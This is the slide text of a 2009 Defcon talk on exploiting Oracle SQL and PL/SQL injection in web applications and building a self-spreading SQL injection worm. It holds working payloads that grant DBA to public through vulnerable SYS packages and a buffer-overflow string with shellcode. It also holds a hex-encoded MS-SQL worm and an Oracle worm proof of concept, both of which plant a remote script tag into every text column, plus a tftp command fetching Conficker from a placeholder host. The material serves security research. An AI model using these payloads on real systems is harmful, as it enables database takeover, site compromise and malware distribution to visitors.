The Making Of Second SQL

Injection Worm (Oracle

Edition)

Sumit Siddharth
[email protected]
www.notsosecure.com
Defcon 17
Las Vegas 2009

About Me:
Senior IT Security Consultant
More than 4 years of Penetration Testing
Not an Oracle Geek :(
My Blog: www.notsosecure.com
10 slides + 2 Demos= 20 Mins !!
Defcon 17, Las Vegas, July 2009

Agenda
How to exploit SQL Injections in web
applications with oracle back-end to achieve
the following:
Escalate privileges from the session user to that
of SYS (Similar to openrowset hacks in MS SQL)
Execute OS Commands and achieve file system
read/write access (Like xp_cmdshell in MS SQL)
Can worms target Oracle web apps? (Just as
they did against MS SQL)
Defcon 17, Las Vegas, July 2009

Oracle: How Things Work

By default Oracle comes with a lot of stored
procedures and functions.
Mostly these functions and stored procedures
run with definer privileges (default).
In order to make the function execute with the
privileges of the user executing it, the function
must have 'authid current_user' keyword.
If you find a SQL (PL/SQL) injection in a
function owned by SYS and with 'authid definer',
you can run SQL (PL/SQL) as SYS.
Defcon 17, Las Vegas, July 2009

SQL Injection in Oracle:

PL/SQL Injection

SQL Injection

Injection in

Injection in Single SQL

Anonymous
PL/SQL block
No Restriction
Execute DDL, DML
Easy

Statement
Restrictions
No ';' allowed
Need more vulnerabilities

Difficult

Defcon 17, Las Vegas, July 2009

PL/SQL Injection

Injection in Anonymous PL/SQL block

create or replace procedure orasso.test (q IN varchar2) AS

BEGIN
execute immediate ('begin '||q||'; end;');
END;
* Attack has no limitation
* Can Execute DML and DDL statements
* Easy to exploit
* Can Execute Multiple statements:
* q=>null;execute immediate 'grant dba to public';end'-Defcon 17, Las Vegas, July 2009

PL/SQL Injection from Web Apps

Vulnerable Oracle Application server allows PL/SQL injection
Bypass the PL/SQL exclusion list:
http://host:7777/pls/orasso/orasso.home?);execute+immediate+:1;
--={PL/SQL}
Execute PL/SQL with permissions of user described in 'DAD'
(orasso_public)
Exploit vulnerable procedures and become DBA
Don't rely on 'create function' privileges
LT.COMPRESSWORKSPACETREE (CPU Oct 2008; milw0rm:7677)
LT.FINDRICSET (CPU October 2007; milw0rm:4572)
.....100 more of these.....
Execute OS code (I Prefer Java)
Defcon 17, Las Vegas, July 2009

Hacking OAS with OAP_Hacker.pl

OAP_hacker.pl
Supports O.A.S <=10.1.2.2
Relies on PL/SQL injection vulnerability
Exploits vulnerable packages and grants DBA to 'public'
Generally orasso_public do not have create function
privilege
Exploit based on Cursor Injection; Don't need create
function
OS code execution based on Java
Demo
Defcon 17, Las Vegas, July 2009

PL/SQL Injection
Custom written Packages deployed on OAS may have PL/SQL Injection
Example:
create or replace procedure orasso.test(q IN varchar2) AS
BEGIN
....
execute immediate ('begin '||q||'; end;');
.....
end;
http://host/pls/orasso/orasso.test?q=orasso.home
http://host/pls/orasso/orasso.test?q=execute Immediate 'grant dba to
public'
Defcon 17, Las Vegas, July 2009

SQL Injection In Web Apps.

Injection in Single SQL statement:
e.g. Select a from b where c=.'$input'
Oracle does not support nested query in SQL
To execute multiple query we need to find a PL/SQL
Injection.
How can we inject PL/SQL when the web application's
SQL Injection allows only SQL?
If there is a PL/SQL injection vulnerability in a
function, then we can use web's SQL Injection to call
this function, thereby executing PL/SQL via SQL
Injection.
Defcon 17, Las Vegas, July 2009

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SQL Injection and Vulnerable

Functions
We can call functions in SQL but not procedures
Exploit Functions vulnerable to Buffer overflow and other issues
MDSYS.MD2.SDO_CODE_SIZE('AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD
DDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHH'||CHR(131)||CHR(195)||CHR(9)||CHR(255)||CHR (227)||CHR(251)||CHR(90)||
CHR(19)||CHR(124)||CHR(54)||CHR(141)||CHR(67)||CHR(19)||CHR(80)||chr(184)||chr(191)||
chr(142)||chr(01)||chr(120)||chr(255)||chr(208)||chr(184)||chr(147)||chr(131)||chr(00)||chr(120)||
chr(255)||chr(208)||'dir >c:\dir.txt')-Exploit Functions vulnerable to PL/SQL Injection
If Authid=definer; execute PL/SQL with definer privileges
If Authid=current_user; execute PL/SQL; exploit vulnerable packages
Privilege escalation; become DBA
Execute OS Code

Defcon 17, Las Vegas, July 2009

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Introducing
Dbms_Export_Extension
Its an Oracle package which has had a number
of functions and procedures vulnerable to
PL/SQL injections, allowing privilege escalation.
GET_DOMAIN_INDEX_TABLES(); function
vulnerable to PL/SQL Injection; owned by sys;
runs as sys
We can inject PL/SQL within this function and
the PL/SQL will get executed as SYS.
The Function can be called from SQL queries
such as SELECT, INSERT, UPDATE etc.
Defcon 17, Las Vegas, July 2009

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PL/SQL Injection in
dbms_export_extension
FUNCTION GET_DOMAIN_INDEX_TABLES ( INDEX_NAME IN VARCHAR2, INDEX_SCHEMA IN
VARCHAR2, TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN VARCHAR2, READ_ONLY IN
PLS_INTEGER, VERSION IN VARCHAR2, GET_TABLES IN PLS_INTEGER)
RETURN VARCHAR2 IS
BEGIN
[...]
STMTSTRING := 'BEGIN ' || '"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||
'".ODCIIndexUtilCleanup(:p1); ' || 'END;';
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);
[...]
END GET_DOMAIN_INDEX_TABLES;
Defcon 17, Las Vegas, July 2009

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Example
select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_
INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PU
T(:P1);EXECUTE IMMEDIATE ''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE '''' grant dba to
public'''';END;'';END;-- ','SYS',0,'1',0) from dual
Fixed in CPU April 2006.
Vulnerable versions: Oracle 8.1.7.4, 9.2.0.1 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2,
XE
14
Defcon 17, Las Vegas, July 2009

Bsqlbf v2.3
Uses this Oracle exploit to achieve the
following:
Privilege escalation (Type 3)
OS code execution (Type 4)
with Java (default; stype 0)
with plsql_native_make_utility (Oracle 9; stype 1)
with dbms_scheduler (oracle 10; stype 2)

File system read/write access (Type 5;Java only)

Demo available at www.notsosecure.com
Defcon 17, Las Vegas, July 2009

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SQL Injection w0rms

MS-SQL:

s=290';DECLARE%20@S
%20NVARCHAR(4000);=CAST(0x6400650063006C00610072006500200040006D0020007600610072006300680061007200280038003000300030002900
3B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065
005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400
720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290
029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E0065
0074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002
E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00
640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200
061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E00780074
00790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006
D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280
040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007
400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS
%20NVARCHAR(4000));EXEC(@S);--

Oracle:

http://127.0.0.1:81/ora4.php?name=1 and 1=(select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' begin execute immediate '''''''' alter session set
current_schema=SCOTT ''''''''; execute immediate ''''''''commit'''''''';for rec in (select chr(117)||chr(112)||chr(100)||chr(97)||chr(116)||
chr(101)||chr(32)||T.TABLE_NAME||chr(32)||chr(115)||chr(101)||chr(116)||chr(32)||C.column_name||chr(61)||C.column_name||
chr(124)||chr(124)||chr(39)||chr(60)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(32)||chr(115)||chr(114)||chr(99)||
chr(61)||chr(34)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(110)||
chr(111)||chr(116)||chr(115)||chr(111)||chr(115)||chr(101)||chr(99)||chr(117)||chr(114)||chr(101)||chr(46)||chr(99)||chr(111)||
chr(109)||chr(47)||chr(116)||chr(101)||chr(115)||chr(116)||chr(46)||chr(106)||chr(115)||chr(34)||chr(62)||chr(60)||chr(47)||chr(115)||
chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(62)||chr(39) as foo FROM ALL_TABLES T,ALL_TAB_COLUMNS C WHERE
T.TABLE_NAME = C.TABLE_NAME and T.TABLESPACE_NAME like chr(85)||chr(83)||chr(69)||chr(82)||chr(83) and C.data_type like
chr(37)||chr(86)||chr(65)||chr(82)||chr(67)||chr(72)||chr(65)||chr(82)||chr(37) and c.data_length>200) loop EXECUTE IMMEDIATE
rec.foo;end loop;execute immediate ''''''''commit'''''''';end;'''';END;'';END;--','SYS',0,'1',0) from dual)--

Defcon 17, Las Vegas, July 2009

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What 'could' the worm do

Update certain database tables
The website not starts to distribute malware
Pwn legitimate users of the site with browser exploits
There are enough 'ie' 0 days out there.
OS code execution allows distribution of other worms such as Conflicker!
select LinxRunCmd('tftp -i x.x.x.x GET conflicker.exe') from dual
Exploit other Oracle components on internal network
Oracle Secure back-up; Remote Command Injection (CPU 2009)
SQL Injection in Oracle Enterprise Manager (CPU 2009)
TNS Listener exploits (milw0rm: 8507)
....100 other things to do....
Defcon 17, Las Vegas, July 2009

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Demos
Demo 1: Hacking OAS with OAS_hacker.pl
Demo 2: Privilege escalation; Extracting data with SYS
privileges (visit www.notsosecure.com)
Demo 3: O.S code execution; With Java (@ notsosecure)
Demo 4: P.O.C for a potential Oracle SQL Injection worm

Defcon 17, Las Vegas, July 2009

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Thank You
References:
http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html

http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_lt_findricset.html

http://www.breach.com/resources/breach-security-labs/alerts/breach-security-labs-releases-alert-on-oracle-application-ser

http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html

http://sec.hebei.com.cn/bbs_topic.do?forumID=18&postID=4275&replyID=0&skin=1&saveSkin=true&pages=0&replyNum

http://milw0rm.com/exploits/3269

http://www.securityfocus.com/bid/17699

http://www.orafaq.com/wiki/PL/SQL_FAQ#What_is_the_difference_between_SQL_and_PL.2FSQL.3F

http://www.red-database-security.com/wp/confidence2009.pdf

http://alloracletech.blogspot.com/2008/07/authid-definer-vs-authid-currentuser.html

http://www.owasp.org/index.php/Testing_for_Oracle

http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf

http://lab.mediaservice.net/notes_more.php?id=Oracle_Portal_for_Friends

http://www.red-database-security.com/exploits/oracle_sql_injection_oracle_kupw$worker2.html

http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf

And Lots more; can't fit in the space here....

Defcon 17, Las Vegas, July 2009

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